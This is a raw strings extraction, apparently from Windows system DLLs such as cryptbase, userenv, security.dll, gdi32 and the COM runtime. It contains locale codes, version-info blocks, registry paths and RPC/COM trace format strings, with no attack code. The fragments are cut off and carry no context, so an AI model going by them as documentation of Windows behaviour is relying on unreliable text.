mscordbi.dll ntdll.dll mscoree.dll CLRLoadLogDir %s.CLRLoad%d.log %c%u.%u \mscorwks.dll \clr.dll DefaultVersion Software\Microsoft\.NETFramework\Policy\Standards Software\Microsoft\.NETFramework\Policy\Upgrades Software\Microsoft\.NETFramework\Policy\ true false configuration startup runtime requiredRuntime supportedRun 0x%.8X (%S) CompatSortNLSVersion 3gbDontReserveBoundary 3gbEatMem IJWEntrypointCompatMode NoGuiFromShim Assembly Class ImplementedInThisVersion %s%s - %s .NET Runtime - .NET Runtime MUI\%04x\ mscorrc.dll v4.0.41213 sxs.dll version= RuntimeVersion .exe culture.dll kernel32 tr-TR tr-TR_turkic az-Latn-AZ az-Latn-AZ_turkic zh-Hans ar-SA bg-BG ca-ES zh-TW cs-CZ da-DK de-DE el-GR en-US es-ES_tradnl fi-FI fr-FR he-IL hu-HU is-IS it-IT ja-JP ko-KR nl-NL nb-NO pl-PL pt-BR rm-CH ro-RO ru-RU hr-HR sk-SK sq-AL sv-SE th-TH ur-PK id-ID uk-UA be-BY sl-SI et-EE lv-LV lt-LT tg-Cyrl-TJ fa-IR vi-VN hy-AM eu-ES hsb-DE mk-MK tn-ZA xh-ZA zu-ZA af-ZA ka-GE fo-FO hi-IN mt-MT se-NO ms-MY kk-KZ ky-KG sw-KE tk-TM uz-Latn-UZ tt-RU bn-IN pa-IN gu-IN or-IN ta-IN te-IN kn-IN ml-IN as-IN mr-IN sa-IN mn-MN bo-CN cy-GB km-KH lo-LA gl-ES kok-IN syr-SY si-LK iu-Cans-CA am-ET ne-NP fy-NL ps-AF fil-PH dv-MV ha-Latn-NG yo-NG quz-BO nso-ZA ba-RU lb-LU kl-GL ig-NG ii-CN arn-CL moh-CA br-FR ug-CN mi-NZ oc-FR co-FR gsw-FR sah-RU qut-GT rw-RW wo-SN prs-AF qps-ploc qps-ploca ar-IQ zh-CN de-CH en-GB es-MX fr-BE it-CH nl-BE nn-NO pt-PT sr-Latn-CS sv-FI az-Cyrl-AZ dsb-DE se-SE ga-IE ms-BN uz-Cyrl-UZ bn-BD mn-Mong-CN iu-Latn-CA tzm-Latn-DZ quz-EC qps-plocm ar-EG zh-HK de-AT en-AU es-ES fr-CA sr-Cyrl-CS se-FI quz-PE ar-LY zh-SG de-LU en-CA es-GT fr-CH hr-BA smj-NO ar-DZ zh-MO de-LI en-NZ es-CR fr-LU bs-Latn-BA smj-SE ar-MA en-IE es-PA fr-MC sr-Latn-BA sma-NO ar-TN en-ZA es-DO sr-Cyrl-BA sma-SE ar-OM en-JM es-VE bs-Cyrl-BA sms-FI ar-YE en-029 es-CO smn-FI ar-SY en-BZ es-PE ar-JO en-TT es-AR ar-LB en-ZW es-EC ar-KW en-PH es-CL ar-AE es-UY ar-BH es-PY ar-QA en-IN es-BO en-MY es-SV en-SG es-HN es-NI es-PR es-US zh-Hant x-IV_mathan de-DE_phoneb hu-HU_technl ka-GE_modern zh-CN_stroke zh-SG_stroke zh-MO_stroke zh-TW_pronun ja-JP_radstr enlssorting.dll Sort00000000.dll 0123456789abcdef jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj !"# $%&'()*+,-./ 0123456789:;<=>?@ABCD EFGH IJKLM RSTUVWXYZ[\ ]^_`a bcdefghijklmnopqrstuv wyxz{ C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll \Device\KsecDD 0 \Device\LanmanRedirector\ \IPC$ \Device\Srv2 \Device\LanmanServer VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Base cryptographic API DLL FileVersion 10.0.26100.7623 (WinBuild.160101.0800) InternalName cryptbase.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename cryptbase.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7623 VarFileInfo Translation WIN://BGKD ext-ms-win-shell-shell32-l1-2-0 ext-ms-win-shell-shell32-l1-2-1 ext-ms-win-shell-shell32-l1-2-2 ext-ms-win-shell-shell32-l1-2-3 ext-ms-win-familysafety-childaccount-l1-1-0 runtimebroker07f4358a809ac99a64a67c1 WIN://PKG ntdll.dll WIN://SYSAPPID WIN://SYSAPPGROUPID WIN://PKGHOSTID %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] %08x%08x%08x%08x DisabledByGroupPolicy AdvertisingInfo Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo \Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPSQRTVUWXYZ[\]_^`abcdefghijklmnopqrustvwxzy{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription AppModel API Host FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName kernel.appcore.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename kernel.appcore.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation S-1-5-19 S-1-5-18 S-1-5-20 Software\Microsoft\Windows\CurrentVersion TEMP SystemRoot SystemDrive System\CurrentControlSet\Control\Session Manager\Environment PUBLIC USERPROFILE ProgramData COMPUTERNAME ALLUSERSPROFILE ext-ms-win-profile-extender-l1-1-0 ntdll.dll %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll Local\SM0:%lu:%lu:%hs Software\Microsoft\Windows NT\CurrentVersion\ProfileList Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Backup %ws\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders %USERPROFILE% \%ws ProfilesDirectory Default Public Software\Microsoft\Windows NT\CurrentVersion\ProfileList\%s ProfileImagePath AppData Local AppData D:PAI(A;OICI;KA;;;%s)(A;OICI;KA;;;SY)(A;OICI;KA;;;BA)(A;OICI;KR;;;RC) D:AI(A;OICIID;KA;;;%s)(A;OICIID;KA;;;SY)(A;OICIID;KA;;;BA)(A;OICIID;KR;;;RC) Environment D:PAI(A;OICI;KA;;;%s)(A;OICI;KA;;;SY)(A;OICI;KA;;;BA)(A;OICI;KR;;;RC)(A;OICI;KR;;;S-1-15-3-9) D:AI(A;OICIID;KA;;;%s)(A;OICIID;KA;;;SY)(A;OICIID;KA;;;BA)(A;OICIID;KR;;;RC)(A;OICIID;KR;;;S-1-15-3-9) Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\ %s%s \Children\%s %s\%s%s %s\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\ %s\Children\ Moniker ParentMoniker s%s\Children\%s %s\AC\#!%s \Packages\%s Path LibPath Os2LibPath SOFTWARE DefaultUserEnviroment APPDATA LOCALAPPDATA Volatile Environment Volatile Environment\%d USERNAME USERDOMAIN USERDNSDOMAIN SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19 SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20 %SystemRoot%\ServiceProfiles\LocalService %SystemRoot%\ServiceProfiles\NetworkService %s\NTUSER.DAT ProgramFilesDir ProgramFiles CommonFilesDir CommonProgramFiles ProgramFilesDir (x86) ProgramFiles(x86) CommonFilesDir (x86) CommonProgramFiles(x86) ProgramW6432Dir ProgramW6432 CommonW6432Dir CommonProgramW6432 AppEvents Control Panel EUDC Keyboard Layout Keyboard Layout\Toggle Software\Microsoft\Command Processor Software\Microsoft\CTF Software\Microsoft\Internet Explorer Software\Microsoft\Windows\CurrentVersion\AppHost Software\Microsoft\Windows\CurrentVersion\Explorer Software\Microsoft\Windows\CurrentVersion\Internet Settings Software\Microsoft\Windows\CurrentVersion\Policies Software\Microsoft\Windows\CurrentVersion\Shell Extensions Software\Microsoft\Windows\CurrentVersion\Themes Software\Microsoft\Windows\CurrentVersion\WinTrust Software\Microsoft\Windows\Windows Error Reporting Software\Microsoft\Windows NT Soft jjjjjj VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription User Profile Basic API FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName PROFAPI.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename PROFAPI.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation S-1-5-20 S-1-5-19 S-1-5-18 ntdll.dll ncalrpc IUserProfile2 NT AUTHORITY\SYSTEM lext-ms-win-profile-userenv-l1-1-0 ext-ms-win-profile-userenv-l1-1-1 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll System\CurrentControlSet\Control\ProfileList RedirectionKey Software\Microsoft\Windows NT\CurrentVersion\ProfileList S-1-5-93-2-1 S-1-5-93-2-2 State UserPreference Preference .tmp Software\Microsoft\Windows NT\CurrentVersion\ProfileGuid .bak Software\Microsoft\Windows\CurrentVersion\UserState\UserStateTechnologies\ConfigurationControls RoamingUserProfile Software\Policies\Microsoft\Windows\System Software\Microsoft\Windows\CurrentVersion\UserState\RoamingUserProfile l_p0 Local\SM0:%lu:%lu:%hs Software\Microsoft\Windows NT\CurrentVersion\Winlogon PingBufferSize FastWanLink JPEG DeleteRoamingCache AllowX-ForestPolicy-and-RUP NULL ntuser.dat.log ntuser.dat{ ntuser.man.log ntuser.man{ Year: %d, Month %d, Day %d, Hour %d, Minute %d ntuser.dat ntuser.man ntuser %s%s \\?\UNC\ \\?\ user.* ntuser.* ntuser.dat ntuser.man ntuser.tmp .log SidString %s\%s "$%&'()*+,-./012345678 9:;<=>? WEVT_TEMPLATE JPEG VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Userenv FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName userenv LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename userenv.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation Application Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profile Service/Diagnostic EventData Name EVENT_COPYERROR Data Name Source Data Name Target Data Name Error Source Target Error EventData Name EVENT_TOO_MANY_COPY_ERRORS EventData Name EVENT_DISK_FULL Data Name Source Data Name Target Source Target EventData Name EVENT_EXCEED_QUOTA Data Name Source Data Name Target Source Target EventData Data Name FileName Data Name FileSizeInKb Data Name SourceLocation Data Name DestinationLocation Data Name CopyTimeInSec FileName FileSizeInKb SourceLocation DestinationLocation CopyTimeInSec EventData Data Name SourceFile Data Name SourceTimestamp Data Name DestinationFile Data Name DestinationTimestamp \SECURITY\LSA_AUTHENTICATION_INITIALIZED %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll Local\SM0:%lu:%lu:%hs @@@@ target name sspicli.dll \Device\KsecDD lsasspirpc ncalrpc SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 DisableHostToTarget localhost System\CurrentControlSet\Control\SecurityProviders SecurityProviders System\CurrentControlSet\Control\Lsa\SspiCache Name Comment Capabilities RpcId Version Type TokenSize Time System\CurrentControlSet\Control\SecurityProviders\SaslProfiles System\CurrentControlSet\Control\Lsa ProtectedUserLevel Negotiate System\CurrentControlSet\Control\Hvsi IsHvsiContainer ABD802E8-FFCC-40D2-A5F1-F04B1D12CBC8 parent ncacn_hvsocket LSARPC_ENDPOINT lsarpc audit securityevent LSA_IDPEXT_ENDPOINT \PIPE\ ncacn_np !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLM OPQRSTUVWXYZ[\]^_`abcdefghij klmn \SECURITY\LSA_AUTHENTICATION_INITIALIZED VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Security Support Provider Interface FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName security.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename security.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation "/\[]:|<>+=;,? "/\[]:|<>+=;,? "/\[]:|<>+=;,? "/\[]:|<>+=;,? \IPC$ \Device\LanmanRedirector \;:[ "<>| "<>| VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Net Win32 API Helpers DLL FileVersion 10.0.26100.1882 (WinBuild.160101.0800) InternalName NETUTILS.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename NETUTILS.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.1882 VarFileInfo Translation temp.%03X \VarFileInfo\Translation CABINET.DLL VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Version Checking and File Installation Libraries FileVersion 10.0.26100.1 (WinBuild.160101.0800) InternalName version LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename VERSION.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.1 VarFileInfo Translation ext-ms-win-gdi-dc-l1-2-0 ext-ms-win-gdi-dc-l1-2-1 ext-ms-win-gdi-dc-create-l1-1-0 ext-ms-win-gdi-dc-create-l1-1-1 ext-ms-win-gdi-dc-create-l1-1-2 ext-ms-win-gdi-draw-l1-1-0 ext-ms-win-gdi-draw-l1-1-1 ext-ms-win-gdi-draw-l1-1-2 ext-ms-win-gdi-draw-l1-1-3 ext-ms-win-gdi-font-l1-1-0 ext-ms-win-gdi-font-l1-1-1 ext-ms-win-gdi-font-l1-1-2 ext-ms-win-gdi-font-l1-1-3 ext-ms-win-gdi-metafile-l1-1-0 ext-ms-win-gdi-metafile-l1-1-1 ext-ms-win-gdi-metafile-l1-1-2 ext-ms-win-gdi-print-l1-1-0 ext-ms-win-gdi-clipping-l1-1-0 ext-ms-win-gdi-internal-desktop-l1-1-0 ext-ms-win-gdi-internal-desktop-l1-1-1 ext-ms-win-gdi-internal-desktop-l1-1-2 ext-ms-win-gdi-internal-desktop-l1-1-3 ext-ms-win-gdi-internal-desktop-l1-1-4 ext-ms-win-gdi-internal-desktop-l1-1-5 ext-ms-win-gdi-internal-desktop-l1-1-6 rASU ext-ms-win-gdi-edgegdi-l1-1-0 DISPLAY \\.\DISPLAY ntdll.dll !"#$%&'()*+,-./0123456789;:<=>?@AB CDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijlkmnopqrstwuvxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription GDI Client DLL FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName gdi32 LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename gdi32 ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation \REGISTRY\MACHINE\Software\Microsoft\SecurityManager\TransientObjects\ %5C%5C.%5CRpc%5C SecurityDescriptor %5C%5C.%5CAlpcPort%5C %ws%wc%ws %ws%wc browser Name Connected Software\Microsoft\IdentityStore\Providers DefaultProvider LSARPC_ENDPOINT cfgmgr32.dll @USER. @TOKEN. @DEVICE. @RESOURCE. \Registry\Machine\System\CurrentControlSet\Control\MiniNT nrpcrt4.dll Circular Kernel Context Logger NT Kernel Logger Alias Global\SvcctrlStartEvent_A3752DX ntsvcs ncalrpc lsapolicylookup lext-ms-win-eventing-rundown-l1-1-0 lext-ms-win-security-chambers-l1-1-0 ext-ms-win-security-chambers-l1-1-1 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll lLocal\SM0:%lu:%lu:%hs NO_ACCESS_CONTROL %I64o %I64x %I64u SID(%ls) %ls, (%ls%ls) (%ls %ls) (%ls %ls %ls) ncacn_ip_tcp Kernel-ProductInfo %SystemRoot% %DriverData% SYSTEM\CurrentControlSet\Control\WMI\Security ETWSecurityPath WinSta0 Default Segoe UI Light Segoe UI SemiBold Segoe UI Segoe Pseudo Yu Gothic UI Light Yu Gothic UI Semibold Yu Gothic UI Malgun Gothic Semilight Malgun Gothic Bold Malgun Gothic Leelawadee UI Semilight Leelawadee UI Bold Leelawadee UI Microsoft YaHei UI Light Microsoft YaHei UI Bold Microsoft YaHei UI Microsoft JhengHei UI Light Microsoft JhengHei UI Bold Microsoft JhengHei UI 0123456789abcdef standardprotections advancedprotections codeintegrityguard sehop mandatoryaslr bottomupaslr highentropyaslr terminateonheapcorruption stricthandlechecks disablewin32ksystemcalls disableext S-1-5-0 S-1-5-32-0 S-1-0-0 S-1-1-0 S-1-2-0 S-1-3-0 S-1-4-0 S-1-16-0 (%ls) !"&)(<>=|#$'*+-./:;?@[\]^inerSidFromAppContainerName() Call: CreateAppContainerToken() Call: InitializeProcThreadAttributeList failed with unexpected error (expected ERROR_INSUFFICIENT_BUFFER) attributeList buffer allocation failure Call: InitializeProcThreadAttributeList second call failure, expected success Call: UpdateProcThreadAttribute (Adding LPAC to attribute list) Call: UpdateProcThreadAttribute (Adding manifest info to attribute list) Call: UpdateProcThreadAttribute (Setting allocated attributeList) Call: GetActivationFactory() for IComponentStatics2 Call: GetActivationFactory() for ICoreApplication ExtendedExecutionForegroundSession denied Call: ComponentStatics2->LaunchAsyncRestrictedWithActivationType() Call: processOptions->LaunchWatcher->Initialize() Call: processOptions->LaunchWatcher->WaitForSuccess() Call: GetActivationFactoryHelper() for IRestrictedAppContainerStatics Call: restrictedAppContainerStatics->Open() Call: appContainer.As(&process) Call: process->LaunchProcess() \PIPE\ double-dash ("--") illegal inside comment invalid first character in processing instruction name expected valid name, then whitespace before parameters in processing instruction invalid first character in attrtibute name multiple attributes with the same name expected equals sign in attribute expected open-quote in attribute expected close-quote in attribute Expected less-than symbol in opening tag Expected valid first name character in tag name Expected greater-than symbol in opening tag unexpected characters in tag contents expected close-tag sequence expected closing tag to match opening tag expected closing tag to match opening tag expected greater-than symbol in closing tag callback returned FALSE expected less-than sign in document root DTD not supported Unexpected XML parse stack underflow STA. Flags: %d TLS->Flags %d %!HRESULT! Not the first call in thread. Flags:%d TLS->Flags %d %!HRESULT! Invalid flags:%d, status %!HRESULT! EXCEL.EXE CoUninit calling CoUninit. TLS->Flags %d eWait aborted. TLS->Flags %d TreatAs COMClassStore Interface\ CLSID\ CurVer CLSID protocol\StdFileEditing xPackageOnFileDrop {00030003-0000-0000-C000-000000000046} Ole1Class CLSID\%s {0004%02X%02X-0000-0000-C000-000000000046} explorer.exe ext-ms-win-ntuser-window-l1-1-0 ext-ms-win-ntuser-window-l1-1-0.dll Resolver call failed %!WINERROR! %s%s user32.dll Cannot determine process window station due to win32k syscall policy Unknown failure from GetProcessWindowStation, last error=%!WINERROR! Unexpected delay load failure for GetProcessWindowStation GetUserObjectInformation(hWinsta) failed, last error=%!WINERROR! GetThreadDesktop failed, last error=%!WINERROR! GetUserObjectInformation(hDesk) failed, last error=%!WINERROR! nRpcBindingCopy: %!WINERROR! RpcBindingSetOption(RPC_C_OPT_BINDING_NONCAUSAL): %!WINERROR! External Server component threw an exception; fault:%d %!HRESULT! ActivateActCtx failed: %!HRESULT! Transforming result from %!HRESULT! to CO_E_PREMATURE_STUB_RUNDOWN Sending auto-retry response due to calls from ASTA on the stack %ws %d %d %!HRESULT! Sending auto-retry response to Winrt async call (%u calls already nested) Wrong apartment; proxy apt:%d current apt:%d method:%d iid:%ws %!HRESULT! Remote container calls disabled. Remote network calls disabled. Apparent ASTA to ASTA call chain, but call chain info is in doubt WinrtAsyncProxyCreateClientCall: %!HRESULT! ASTA to ASTA call chain allowed by use of proxy exemption ASTA to ASTA call chain, but allowed because the chain touched a quirked process ASTA to ASTA call chain, but allowed because the current process is quirked ASTA to ASTA call chain detected. IID: %ws, method: %d, from thread %x to thread %x ASTA to ASTA call chain, but allowed because the call is to a quirked process AllowASTAToASTACallChain Wrong apartment. %!WINERROR! Transforming result from %!HRESULT! to RPC_E_DISCONNECTED LookupFromIPIDTables failed: IPID:%ws %!HRESULT! Unmarshaling policy blocked creation of %ws in context of %!UnmarshalingPolicyCheckReason! unmarshaling a custom inproc handler unmarshaling a custom marshaled object CLSCTX_NO_CUSTOM_MARSHAL unmarshaling an envoy context property An unmarshaling policy check was performed due to %ws and the class %ws was rejected Either log registration or event reporting failed, log handle:0X%I64X, error: 0X%X \Implemented Categories\ I_RpcGetBufferWithObject for call object %p (iid:%ws MOID:%ws ipid:%ws method:%d): %!WINERROR! I_RpcGetBuffer for call object %p (iid:%ws MOID:%ws ipid:%ws method:%d): %!WINERROR! I_RpcSendReceive for call object %p (iid:%ws MOID:%ws ipid:%ws method:%d): %!WINERROR! I_RpcAsyncSetHandle for call object %p (iid:%ws MOID:%ws ipid:%ws method:%d): %!WINERROR! I_RpcSend for call object %p (iid:%ws MOID:%ws ipid:%ws method:%d): %!WINERROR! I_RpcReceive for call object %p (iid:%ws MOID:%ws ipid:%ws method:%d): %!WINERROR! I_RpcAsyncAbortCall for call object %p: %!WINERROR!% pncacn_hvsocket SPN:%ws AuthnLevel:%d AuthnSvc:%d ImpLevel:%d IdentityTrack:%d %!WINERROR! kWIN://DESKTOPWINRTBROKER iid:%ws Local:%!bool! %!WINERROR! iid:%ws %!WINERROR! iid:%ws Caller PID:%x SCM PID:%x Local:%!bool! %!WINERROR! Unexpected TransportLocality:%d AuthnLevel from RPC:%d My AuthnLevel:%d iid:%ws Local:%!bool! SID:%ws %!WINERROR! iid:%ws Local:%!bool! SID:%ws iid:%ws Local:%d SID:%ws %!WINERROR! RaiseActivationAuthenticationLevel Software\Microsoft\OLE\AppCompat CRpcResolver::GetConnection returned success, but gGotSecurityData is false CAuthInfo::Copy failed, hr=%!HRESULT! GetLegacyBlanket failed, hr=%!HRESULT! RegisterAuthnServices failed, hr=%!HRESULT! LookupPrincName failed, hr=%!HRESULT! GetDefaultAccessRestrictionsSD failed EnsureRestrictedCodePresent failed, hr=%!HRESULT! SD Revision:%d cNo Owner Sid SD control:%x AclRevision:%d No Group Sid Opening caller process handle for inproc call, iid=%ls, procnum=%d %!HRESULT! Flags:%d ncacn_np:\\\\%s[\%s\ Size:%d msstd: Control:%d rOwner or Group not set AuthenticationLevel RaiseDefaultAuthnLevel Type:%d Size:%d Type:%d Size:%d %!HRESULT! host/ e%ws %d %!HRESULT! fullsic: CreateStub failed; %ws %!HRESULT! IPolicySet->FillBuffer failed; %ws %d %!HRESULT! CreateProxy failed; %ws %!HRESULT! IPolicySet->GetSize failed; %ws %d %!HRESULT! IPolicySet->Notify failed: %!HRESULT! IPolicySet->FillBuffer failed: %!HRESULT! Wrong context; %ws %!HRESULT! DefaultStubInvoke failed; %ws %d %!HRESULT! IPolicySet->Notify failed; %ws %d %!HRESULT! IPolicySet->FillBuffer failed. %ws %d %!HRESULT! IFaceEntry->LookupCtxEntry failed; %ws %d Custom UnmarshalInterface result:%!HRESULT! unmarshalerClsid:%ws IID:%ws pStream:%p CoMarshalInterface: QI for INoMarshal succeeded. _CoUnmarshalInterface result:%!HRESULT! IID:%ws pStream:%p xMinor:%d %!HRESULT! dwNumExtents:%d cbExtents:%d %!HRESULT! Props:%d %!HRESULT! %d %!HRESULT! %I64u %d %!HRESULT! %ws %!HRESULT! Registering client IID %ls IID %ls --> base IID %ls RegisterClientInterface called during RIFTable cleanup NdrGetBaseInterfaceFromProxy %ws failed: %!HRESULT! Registering server IID %ls Rewaiting on registration of IID %ls, attempt #%d RegisterServerInterface called during RIFTable cleanup Timed out waiting for registration of %ws Timed out waiting on registration of IID %ls, timeout #%d NdrCreateServerInterfaceFromStub %ls failed: %!WINERROR! %ls already registered NdrGetBaseInterfaceFromStub %ls failed: %!HRESULT! RpcServerRegisterIf2 %ws failed: %!WINERROR! RpcUnregisterServerIf %ws failed: %!WINERROR! rFailed to find proxy registration for IID: %ws. hr=%!HRESULT! synchronous asynchronous Failed to query %ws IID from %ws IID:%ws. hr=%!HRESULT! aynchronous GetPSClsid(%ws) %!HRESULT! pDetected premature stub rundown for call on IID %ws, method %d, IPID %ws, type of call %!WhichTypeOfRundown! Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack\Partners\COM\RundownIIDsOfInterest Detected premature stub rundown for call on IID:%s, method:%d, IPID:%s, type of rundown:%d! %d %!STATUS! OleCompatibility Async outgoing call expected; callcatin:%d iid:%ws %!HRESULT! SlowRpcTimeFactor In input sync call; callcatin:%d iid:%ws %!HRESULT! In input sync call; rpcflags:%x method:%d iid:%ws %!HRESULT! Illegal callout from within IMessageFilter; method:%d iid:%ws %!HRESULT! Wait failed: %!WINERROR! eSaw QS_TRANSFER in modal loop Dropped keyboard message in STA gDropped WM_QUEUESYNC in STA Dropped mouse message in STA App MF:MessagePending returned %d Dropped pointer message %x in STA iid:%!GUID! method:%d App MF:HandleInComingCall returned %d x%d %d %!HRESULT! Queued call timeout with iid: %ws, method id: %d, ASTA thread's current logical thread id: %ws, and call logical thread id: %ws ncalrpc endpoint:%ws %!WINERROR! binding:%ws protseq:%ws addr:%ws endpoint:%ws DValue %d less than RPC_C_PROTSEQ_MAX_REQS_DEFAULT APPID %ws Error %!WINERROR! reading RpcProtSeqMaxCalls for APPID %ws Wrong type %d or size %d reading RpcProtSeqMaxCalls for APPID %ws using the default Unexpectedly exceeded the caller's buffer capacity %d %016I64X, none SCM bulk update OIDs, to add: %d (%ws), to remove: %d (%ws), status %08X Marshaling disconnected proxy %p (iid=%ws) Client-side IPID entry for interface %!GUID! already exists in object moid: %!GUID!, apartment %X, status %!HRESULT! New client-side IPID entry for interface %!GUID! in object moid: %!GUID!, apartment %X, status %!HRESULT! Queued for registration with ping server: object moid %!GUID!, apartment %X, oxid %I64X, status %!HRESULT! Connecting proxy to channel: iid %!GUID!, object moid %!GUID!, apartment %X,status %!HRESULT! Application disconnect: Rundown disconnect: Uninitialization disconnect: Rundown disconnect left pending, requiring context mitigation. Overflow calculating cMaxRifRef: _cIPIDs=%d, NumIRCEntries()=%d winword.exe Transforming result from %!HRESULT! to RPC_E_INVALID_OBJECT IID:%ws %!HRESULT! OID %I64X is pinned bRefusing rundown for OID %I64X nFast rundown OID CANNOT be run down because it is NOPING or has been marshaled recently: Fast rundown OID CANNOT be run down because calls or marshals are in progress: Ok to run down OID %I64X Fast rundown OID CAN be rundown: Leaking proxy %p (IID:%ws) whose proxy manager was leaked past CoUninitialize Running down: Transforming result from %!HRESULT! to CO_E_OBJNOTREG Overflow calculating cMaxRifRefChange: _cIPIDs=%d flags:%08X cPublicRefs:%08X oxid: %I64X oid: %I64X ipid:%!GUID! Oid %I64X (moid: %!GUID!) is known to this apartment (%X) %ws MOID:%!GUID! \\\Thread to thread Transforming result from RPC_E_INVALID_OBJECT to CO_E_PREMATURE_STUB_RUNDOWN Transforming result from CO_E_OBJNOTREG to CO_E_PREMATURE_STUB_RUNDOWN CRemUnknown::RemAddRef called on objects living in multiple contexts ole32.dll rpcrt4.dll EVENT_ACTIVITY_CTRL_GET_ID failed with error %#x Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack\Partners\COM\CallTracingIIDsOfInterest %d %d %d %!HRESULT! KERNEL32 Debugger drwtsn32 AeDebug Auto OldAuto SOFTWARE\Microsoft\Windows NT\CurrentVersion\DebugObjectRPCEnabled Could not find connected IPID for proxy passed to RoGetAgileReference. %!HRESULT! ReleaseMarsherifyProxies ComVerifyChannelState ComVerifyOleInitCalled ComEnableVTBLTracking ComVerifyGetSlowStacks ComVerifyClassFactory ComEnableObjectTracking CheckUnrecommendedUsageFromAPC CheckMarshalingToUntrustedProcess PageAllocatorUseSystemHeap PageAllocatorSystemHeapIsPrivate ComMaxStackTracesPerThread ComMaxStackTracesPerProcess CheckClassicMarshalingToUntrustedProcess ComVerifyFatalExceptionHandlingDisabled ComWinrtAsyncLearningMode ComEnableExitProcessChecks ComCheckPrematureStubRundown ComWinrtAsyncCheckPatternContract AggressiveDllUnloadPeriod ComEnableAggressiveDllUnload ComEnableSecBlanketChecks ForceDllUnload UnloadPeriodMs SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options SecuritySettings Start CGCO clsid:%!GUID! context:%d RSN:%ws eEnd CCI clsid:%ws context:%d RSN:%ws hr:%!HRESULT! End CGCO clsid:%ws context:%d RSN:%ws hr:%!HRESULT! Start CCI clsid:%!GUID! context:%d RSN:%ws pPackage\Data PackageFamily\Index\PackageFamilyName Package\Index\PackageFamily PackageType Flags PackageFullName PackageFamily Volume OSMaxVersionTested Flags2 PackageOrigin MutableLocation TargetDeviceFamilyName InstalledLocation MutableLink DisplayName Main Bundle Framework Resource Optional \REGISTRY\MACHINE\Software\Classes\CLSID\ %!HRESULT! Invalid REGCLS flag %!HRESULT! Invalid combination of REGCLS flags %!HRESULT! REGCLS_AGILE requires FreeThreadedMarshaler aggregation ActivatableClass %ws returned a trust level %d that is different from its configured trust level %d Access denied: Activatable class: %ws User sid: %ws CLSID:%ws AAA clsctx:%d CLSID:%ws Architecture clsctx:%d CLSID:%ws clsctx:%d dwCount:%d UMULTI_QI clsctx:%d CLSID:%ws ctx:%d %!HRESULT! IID:%!GUID! %!HRESULT! %!GUID! %!HRESULT! DllHost.exe DllHost.exe /Processid: -Embedding OLE2.DLL OLE32.DLL CLSID:%ws, _dwFlags:%d %!HRESULT! Error getting activation factory for ActivatableClassId (%ws) in DLL (%ws): %!HRESULT! NULL pUnk, DLL:%ws CLSID:%ws IID:%ws %!HRESULT! DLL:%ws CLSID:%ws IID:%ws 